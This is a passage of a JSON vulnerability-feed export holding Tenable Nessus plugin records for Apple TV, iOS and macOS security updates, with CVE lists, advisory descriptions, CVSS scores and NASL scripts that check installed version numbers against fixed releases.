["CVE-2019-8605"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/a:apple:apple_tv"], "id": "APPLETV_12_4_1.NASL", "href": "https://www.tenable.com/plugins/nessus/131702", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131702);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\"CVE-2019-8605\");\n script_xref(name:\"APPLE-SA\", value:\"HT210550\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-08-24\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/07/18\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2019-0652\");\n\n script_name(english:\"Apple TV < 12.4.1 A Use-After-Free Vulnerability\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Apple TV device is affected by a vulnerability\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the version of Apple TV on the remote device is prior to 12.4.1. It is therefore affected by a\nuse-after-free vulnerability as described in the HT210550\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210550\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Apple TV version 12.4.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8605\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/08/24\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/08/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/04\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:apple_tv\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"appletv_version.nasl\");\n script_require_keys(\"AppleTV/Version\", \"AppleTV/Model\", \"AppleTV/URL\", \"AppleTV/Port\");\n script_require_ports(\"Services/www\", 7000);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"appletv_func.inc\");\n\nurl = get_kb_item('AppleTV/URL');\nif (empty_or_null(url)) exit(0, 'Cannot determine Apple TV URL.');\nport = get_kb_item('AppleTV/Port');\nif (empty_or_null(port)) exit(0, 'Cannot determine Apple TV port.');\n\nbuild = get_kb_item('AppleTV/Version');\nif (empty_or_null(build)) audit(AUDIT_UNKNOWN_DEVICE_VER, 'Apple TV');\n\nmodel = get_kb_item('AppleTV/Model');\nif (empty_or_null(model)) exit(0, 'Cannot determine Apple TV model.');\n\n# https://en.wikipedia.org/wiki/TvOS\nfixed_build = '16M600';\ntvos_ver = '12.4.1';\n\n# determine gen from the model\ngen = APPLETV_MODEL_GEN[model];\n\nappletv_check_version(\n build : build,\n fix : fixed_build,\n affected_gen : make_list(4, 5),\n fix_tvos_ver : tvos_ver,\n model : model,\n gen : gen,\n port : port,\n url : url,\n severity : SECURITY_HOLE\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-01T14:32:17", "description": "The version of Apple iOS running on the mobile device is prior to 14.8.1. It is, therefore, affected by multiple vulnerabilities including the following:\n\n - A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 15.0.2 and iPadOS 15.0.2, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, macOS Big Sur 11.6.1. An application may be able to execute arbitrary code with kernel privileges. (CVE-2021-30883)\n\n - An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 14.8.1 and iPadOS 14.8.1, iOS 15.1 and iPadOS 15.1. A malicious application may be able to execute arbitrary code with kernel privileges. (CVE-2021-30900) \n - A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation. This issue is fixed in iOS 15.1 and iPadOS 15.1, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, Security Update 2021-007 Catalina, macOS Big Sur 11.6.1.\n Processing a maliciously crafted image may lead to arbitrary code execution. (CVE-2021-30917)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-10-29T00:00:00", "type": "nessus", "title": "Apple iOS < 14.8.1 Multiple Vulnerabilities (HT212868)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-30883", "CVE-2021-30900", "CVE-2021-30917"], "modified": "2023-05-31T00:00:00", "cpe": ["cpe:/o:apple:iphone_os"], "id": "APPLE_IOS_1481_CHECK.NBIN", "href": "https://www.tenable.com/plugins/nessus/154714", "sourceData": "Binary data apple_ios_1481_check.nbin", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T14:56:37", "description": "According to its banner, the version of Apple TV on the remote device is prior to 13.3.1. It is therefore affected by multiple vulnerabilities as described in the HT210920", "cvss3": {}, "published": "2020-02-18T00:00:00", "type": "nessus", "title": "Apple TV < 13.3.1 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-3829", "CVE-2020-3836", "CVE-2020-3837", "CVE-2020-3838", "CVE-2020-3840", "CVE-2020-3842", "CVE-2020-3853", "CVE-2020-3856", "CVE-2020-3857", "CVE-2020-3868", "CVE-2020-3870", "CVE-2020-3872", "CVE-2020-3875", "CVE-2020-3878"], "modified": "2022-06-27T00:00:00", "cpe": ["cpe:/a:apple:apple_tv"], "id": "APPLETV_13_3_1.NASL", "href": "https://www.tenable.com/plugins/nessus/133727", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(133727);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/06/27\");\n\n script_cve_id(\n \"CVE-2020-3829\",\n \"CVE-2020-3836\",\n \"CVE-2020-3837\",\n \"CVE-2020-3838\",\n \"CVE-2020-3840\",\n \"CVE-2020-3842\",\n \"CVE-2020-3853\",\n \"CVE-2020-3856\",\n \"CVE-2020-3857\",\n \"CVE-2020-3868\",\n \"CVE-2020-3870\",\n \"CVE-2020-3872\",\n \"CVE-2020-3875\",\n \"CVE-2020-3878\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT210920\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2020-01-23\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/07/18\");\n\n script_name(english:\"Apple TV < 13.3.1 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Apple TV device is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the version of Apple TV on the remote device is prior to 13.3.1. It is therefore affected by multiple vulnerabilities as described in the HT210920\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210920\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Apple TV version 13.3.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3868\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/01/23\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/01/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/02/18\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:apple_tv\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"appletv_version.nasl\");\n script_require_keys(\"AppleTV/Version\", \"AppleTV/Model\", \"AppleTV/URL\", \"AppleTV/Port\");\n script_require_ports(\"Services/www\", 7000);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"appletv_func.inc\");\n\nurl = get_kb_item('AppleTV/URL');\nif (empty_or_null(url)) exit(0, 'Cannot determine Apple TV URL.');\nport = get_kb_item('AppleTV/Port');\nif (empty_or_null(port)) exit(0, 'Cannot determine Apple TV port.');\n\nbuild = get_kb_item('AppleTV/Version');\nif (empty_or_null(build)) audit(AUDIT_UNKNOWN_DEVICE_VER, 'Apple TV');\n\nmodel = get_kb_item('AppleTV/Model');\nif (empty_or_null(model)) exit(0, 'Cannot determine Apple TV model.');\n\nfixed_build = \"17K795\";\ntvos_ver = '13.3.1';\n\n# determine gen from the model\ngen = APPLETV_MODEL_GEN[model];\n\nappletv_check_version(\n build : build,\n fix : fixed_build,\n affected_gen : make_list(4, 5),\n fix_tvos_ver : tvos_ver,\n model : model,\n gen : gen,\n port : port,\n url : url,\n severity : SECURITY_HOLE\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-20T14:58:57", "description": "The remote host is running a version of macOS / Mac OS X that is 11.x prior to 11.6.1 Big Sur. It is, therefore, affected by multiple vulnerabilities including the following:\n\n - A race condition was addressed with improved state handling. This issue is fixed in macOS Monterey 12.0.1, Security Update 2021-007 Catalina, macOS Big Sur 11.6.1. A malicious application may be able to execute arbitrary code with kernel privileges. (CVE-2021-30899)\n\n - A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation. This issue is fixed in iOS 15.1 and iPadOS 15.1, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, Security Update 2021-007 Catalina, macOS Big Sur 11.6.1.\n Processing a maliciously crafted image may lead to arbitrary code execution. (CVE-2021-30917)\n\n - An out-of-bounds write was addressed with improved input validation. This issue is fixed in iOS 15.1 and iPadOS 15.1, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, Security Update 2021-007 Catalina, macOS Big Sur 11.6.1. Processing a maliciously crafted PDF may lead to arbitrary code execution. (CVE-2021-30919)\n\nNote that Nessus has not tested for these issues but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2021-10-29T00:00:00", "type": "nessus", "title": "macOS 11.x < 11.6.1 (HT212872)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-30821", "CVE-2021-30824", "CVE-2021-30868", "CVE-2021-30876", "CVE-2021-30877", "CVE-2021-30879", "CVE-2021-30880", "CVE-2021-30881", "CVE-2021-30883", "CVE-2021-30892", "CVE-2021-30899", "CVE-2021-30901", "CVE-2021-30906", "CVE-2021-30907", "CVE-2021-30908", "CVE-2021-30909", "CVE-2021-30910", "CVE-2021-30911", "CVE-2021-30912", "CVE-2021-30913", "CVE-2021-30915", "CVE-2021-30916", "CVE-2021-30917", "CVE-2021-30919"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_HT212872.NASL", "href": "https://www.tenable.com/plugins/nessus/154717", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154717);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2021-30821\",\n \"CVE-2021-30824\",\n \"CVE-2021-30868\",\n \"CVE-2021-30876\",\n \"CVE-2021-30877\",\n \"CVE-2021-30879\",\n \"CVE-2021-30880\",\n \"CVE-2021-30881\",\n \"CVE-2021-30883\",\n \"CVE-2021-30892\",\n \"CVE-2021-30899\",\n \"CVE-2021-30901\",\n \"CVE-2021-30906\",\n \"CVE-2021-30907\",\n \"CVE-2021-30908\",\n \"CVE-2021-30909\",\n \"CVE-2021-30910\",\n \"CVE-2021-30911\",\n \"CVE-2021-30912\",\n \"CVE-2021-30913\",\n \"CVE-2021-30915\",\n \"CVE-2021-30916\",\n \"CVE-2021-30917\",\n \"CVE-2021-30919\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT212872\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2021-10-26-4\");\n script_xref(name:\"IAVA\", value:\"2021-A-0505-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"macOS 11.x < 11.6.1 (HT212872)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is 11.x prior to 11.6.1 Big Sur. It is, therefore,\naffected by multiple vulnerabilities including the following:\n\n - A race condition was addressed with improved state handling. This issue is fixed in macOS Monterey 12.0.1,\n Security Update 2021-007 Catalina, macOS Big Sur 11.6.1. A malicious application may be able to execute\n arbitrary code with kernel privileges. (CVE-2021-30899)\n\n - A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with\n improved input validation. This issue is fixed in iOS 15.1 and iPadOS 15.1, macOS Monterey 12.0.1, iOS\n 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, Security Update 2021-007 Catalina, macOS Big Sur 11.6.1.\n Processing a maliciously crafted image may lead to arbitrary code execution. (CVE-2021-30917)\n\n - An out-of-bounds write was addressed with improved input validation. This issue is fixed in iOS 15.1 and\n iPadOS 15.1, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, Security Update\n 2021-007 Catalina, macOS Big Sur 11.6.1. Processing a maliciously crafted PDF may lead to arbitrary code\n execution. (CVE-2021-30919)\n\nNote that Nessus has not tested for these issues but has instead relied only on the operating system's self-reported\nversion number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT212872\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS 11.6.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-30916\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-30919\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/29\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/local_checks_enabled\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\ninclude('vcf.inc');\ninclude('vcf_extras_apple.inc');\n\nvar app_info = vcf::apple::macos::get_app_info();\nvar constraints = [{'min_version': '11.0', 'fixed_version': '11.6.1', 'fixed_display': 'macOS Big Sur 11.6.1'}];\n\nvcf::apple::macos::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_HOLE\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-25T14:22:55", "description": "The version of Apple iOS running on the mobile device is prior to 12.3. It is, therefore, affected by multiple vulnerabilities as described in the HT210118 security advisory.\n\n - Multiple elevation of privilege vulnerabilities exist due to improper memory handling. An application can exploit this to gain elevated privileges. (CVE-2019-8593, CVE-2019-8605, CVE-2019-8574)\n\n -Multiple unspecified command execution vulnerabilities exist that allow an attacker to execute arbitrary commands, sometimes with kernel privileges. (CVE-2019-8585, CVE-2019-8613,CVE-2019-8600, CVE-2019-6237, CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, CVE-2019-8597, CVE-2019-8601, CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615, CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n -An unspecified denial of service (DoS) vulnerability exists in the Kernel that allows an an attacker in a privileged position to perform a denial of service attack. (CVE-2019-8626)", "cvss3": {}, "published": "2019-05-20T00:00:00", "type": "nessus", "title": "Apple iOS < 12.3 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-6237", "CVE-2019-8571", "CVE-2019-8574", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8593", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8605", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8613", "CVE-2019-8615", "CVE-2019-8619", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8626", "CVE-2019-8628"], "modified": "2019-05-20T00:00:00", "cpe": ["cpe:/o:apple:iphone_os"], "id": "700713.PRM", "href": "https://www.tenable.com/plugins/nnm/700713", "sourceData": "Binary data 700713.prm", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T14:55:55", "description": "The remote host is running a version of macOS / Mac OS X that is 10.15.x prior to 10.15.3, 10.13.x prior to 10.13.6, 10.14.x prior to 10.14.6. It is, therefore, affected by multiple vulnerabilities:\n\n - In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution. (CVE-2019-11043)\n\n - An arbitrary code exution vulnerability exists due to a misconfiguration. An authenticated, local attacker can exploit this to execute arbitrary code on the remote host.\n (CVE-2019-18634)\n\n - An arbitrary code exution vulnerability exists due to the ability to process a maliciously crafted image. An unauthenticated, remote attacker can exploit this to execute arbitrary code on the remote host.\n (CVE-2020-3826 CVE-2020-3827 CVE-2020-3870 CVE-2020-3878)\n\n - A privilege escalation vulnerability exists in due to an out-of-bounds read issue. An unauthenticated, remote attacker can exploit this, to gain elevated access to the system. (CVE-2020-3829)\n\n - An arbitrary file write vulnerability exists in the handling of symlinks. A malicious program crafted by an attacker can exploit this to overwrite arbitrary files on the remote host.\n (CVE-2020-3830 CVE-2020-3835 CVE-2020-3855)\n\n - An information disclosure vulnerability exists in the access control handling of applications. A malicious application crafted by attacker can exploit this to disclose the kernel memory layout.\n (CVE-2020-3836)\n\n - An arbitrary code exution vulnerability exists due to a memory corruption issue. A malicious application crafted by a remote attacker may be able to execute arbitrary code with kernel privileges on the remote host.\n (CVE-2020-3837 CVE-2020-3842 CVE-2020-3871)\n\n - An arbitrary code exution vulnerability exists due to a permissions logic flaw. A malicious application crafted by a remote attacker may be able to execute arbitrary code with system privileges on the remote host.\n (CVE-2019-18634 CVE-2020-3854 CVE-2020-3845 CVE-2020-3853 CVE-2020-3857)\n\n - An information disclosure vulnerability exists in the input sanitization logic. A malicious application crafted by attacker can exploit this to read restricted memory.\n (CVE-2020-3839 CVE-2020-3847)\n\n - An arbitrary code exution vulnerability exists due to the loading of a maliciously crafted racoon configuration file. An authenticated, local attacker can exploit this to execute arbitrary code on the remote host.\n (CVE-2020-3840)\n\n - A denial of service (DoS) vulnerability exists due to a memory corruption issue. An unauthenticated, remote attacker can exploit this issue, via malicious input, to cause the system to crash, stop responding, or corrupt the kernel memory. (CVE-2020-3843)\n\n - An arbitrary code exution vulnerability exists due to either a buffer overflow or out-of-bounds read issue. An authenticated, local attacker can exploit this to execute arbitrary code on the remote host or cause an unexpected application to terminate.\n (CVE-2020-3846 CVE-2020-3848 CVE-2020-3849 CVE-2020-3850 CVE-2020-3877)\n\n - A memory corruption vulnerability exists due to a malicious crafted string. An unauthenticated, remote attacker can exploit this issue, via malicious input, to cause the corruption of the heap memory. (CVE-2020-3856)\n\n - An security bypass vulnerability exists in the handling of files from an attacker controlled NFS mount. A remote attacker with local access could search for and open a file from an attacker controlled NFS mount and bypass Gatekeeper Security features. (CVE-2020-3866)\n\n - An information disclosure vulnerability exists where an application can read restricted memory. A local, authorized attacker can exploit this to read restricted memory.\n (CVE-2020-3872 CVE-2020-3875)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2020-02-07T00:00:00", "type": "nessus", "title": "macOS 10.15.x < 10.15.3 / 10.14.x < 10.14.6 / 10.13.x < 10.13.6", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2019-18634", "CVE-2020-3826", "CVE-2020-3827", "CVE-2020-3829", "CVE-2020-3830", "CVE-2020-3835", "CVE-2020-3836", "CVE-2020-3837", "CVE-2020-3838", "CVE-2020-3839", "CVE-2020-3840", "CVE-2020-3842", "CVE-2020-3843", "CVE-2020-3845", "CVE-2020-3846", "CVE-2020-3847", "CVE-2020-3848", "CVE-2020-3849", "CVE-2020-3850", "CVE-2020-3853", "CVE-2020-3854", "CVE-2020-3855", "CVE-2020-3856", "CVE-2020-3857", "CVE-2020-3866", "CVE-2020-3870", "CVE-2020-3871", "CVE-2020-3872", "CVE-2020-3875", "CVE-2020-3877", "CVE-2020-3878"], "modified": "2022-12-06T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_HT210919.NASL", "href": "https://www.tenable.com/plugins/nessus/133531", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(133531);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/06\");\n\n script_cve_id(\n \"CVE-2019-11043\",\n \"CVE-2019-18634\",\n \"CVE-2020-3826\",\n \"CVE-2020-3827\",\n \"CVE-2020-3829\",\n \"CVE-2020-3830\",\n \"CVE-2020-3835\",\n \"CVE-2020-3836\",\n \"CVE-2020-3837\",\n \"CVE-2020-3838\",\n \"CVE-2020-3839\",\n \"CVE-2020-3840\",\n \"CVE-2020-3842\",\n \"CVE-2020-3843\",\n \"CVE-2020-3845\",\n \"CVE-2020-3846\",\n \"CVE-2020-3847\",\n \"CVE-2020-3848\",\n \"CVE-2020-3849\",\n \"CVE-2020-3850\",\n \"CVE-2020-3853\",\n \"CVE-2020-3854\",\n \"CVE-2020-3855\",\n \"CVE-2020-3856\",\n \"CVE-2020-3857\",\n \"CVE-2020-3866\",\n \"CVE-2020-3870\",\n \"CVE-2020-3871\",\n \"CVE-2020-3872\",\n \"CVE-2020-3875\",\n \"CVE-2020-3877\",\n \"CVE-2020-3878\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT210919\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2020-01-23\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/15\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/07/18\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2019-0695\");\n\n script_name(english:\"macOS 10.15.x < 10.15.3 / 10.14.x < 10.14.6 / 10.13.x < 10.13.6\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a MacOS update which fixes multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is 10.15.x prior to 10.15.3, \n10.13.x prior to 10.13.6, 10.14.x prior to 10.14.6. It is, therefore, affected by multiple\nvulnerabilities:\n\n - In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24\n and 7.3.x below 7.3.11 in certain configurations of FPM\n setup it is possible to cause FPM module to write past\n allocated buffers into the space reserved for FCGI\n protocol data, thus opening the possibility of remote\n code execution. (CVE-2019-11043)\n\n - An arbitrary code exution vulnerability exists \n due to a misconfiguration. An authenticated, local attacker \n can exploit this to execute arbitrary code on the remote host.\n (CVE-2019-18634)\n\n - An arbitrary code exution vulnerability exists \n due to the ability to process a maliciously crafted image. \n An unauthenticated, remote attacker can exploit this to \n execute arbitrary code on the remote host.\n (CVE-2020-3826 CVE-2020-3827 CVE-2020-3870 CVE-2020-3878)\n\n - A privilege escalation vulnerability exists in due to an out-of-bounds read issue. \n An unauthenticated, remote attacker can exploit this, to gain elevated\n access to the system. (CVE-2020-3829)\n\n - An arbitrary file write vulnerability exists in the handling of symlinks. \n A malicious program crafted by an attacker can exploit this to overwrite arbitrary files on the remote host.\n (CVE-2020-3830 CVE-2020-3835 CVE-2020-3855)\n\n - An information disclosure vulnerability exists in the access control handling of applications. \n A malicious application crafted by attacker can exploit this to disclose the kernel memory layout.\n (CVE-2020-3836)\n\n - An arbitrary code exution vulnerability exists \n due to a memory corruption issue. A malicious application \n crafted by a remote attacker may be able to execute arbitrary code \n with kernel privileges on the remote host.\n (CVE-2020-3837 CVE-2020-3842 CVE-2020-3871)\n\n - An arbitrary code exution vulnerability exists \n due to a permissions logic flaw. A malicious application \n crafted by a remote attacker may be able to execute arbitrary code \n with system privileges on the remote host.\n (CVE-2019-18634 CVE-2020-3854 CVE-2020-3845 CVE-2020-3853 CVE-2020-3857)\n\n - An information disclosure vulnerability exists in the input sanitization logic. \n A malicious application crafted by attacker can exploit this to read restricted memory.\n (CVE-2020-3839 CVE-2020-3847)\n\n - An arbitrary code exution vulnerability exists \n due to the loading of a maliciously crafted racoon configuration file. \n An authenticated, local attacker can exploit this to execute arbitrary code on the remote host.\n (CVE-2020-3840)\n\n - A denial of service (DoS) vulnerability exists due to a memory corruption issue. An \n unauthenticated, remote attacker can exploit this issue, via malicious input, to cause the \n system to crash, stop responding, or corrupt the kernel memory. (CVE-2020-3843)\n\n - An arbitrary code exution vulnerability exists \n due to either a buffer overflow or out-of-bounds read issue. An authenticated, local attacker \n can exploit this to execute arbitrary code on the remote host or \n cause an unexpected application to terminate.\n (CVE-2020-3846 CVE-2020-3848 CVE-2020-3849 CVE-2020-3850 CVE-2020-3877)\n\n - A memory corruption vulnerability exists due to a malicious crafted string. An \n unauthenticated, remote attacker can exploit this issue, via malicious input, to cause the \n corruption of the heap memory. (CVE-2020-3856)\n\n - An security bypass vulnerability exists in the handling of files from an attacker controlled NFS mount. \n A remote attacker with local access could search for and open a file from an attacker controlled NFS mount\n and bypass Gatekeeper Security features. (CVE-2020-3866)\n\n - An information disclosure vulnerability exists where an application \n can read restricted memory. A local, authorized attacker can exploit this to read restricted memory.\n (CVE-2020-3872 CVE-2020-3875)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported\nversion number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210919\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS 10.13.6, 10.14.6, 10.15.3 or later\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3847\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2020-3850\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'PHP-FPM 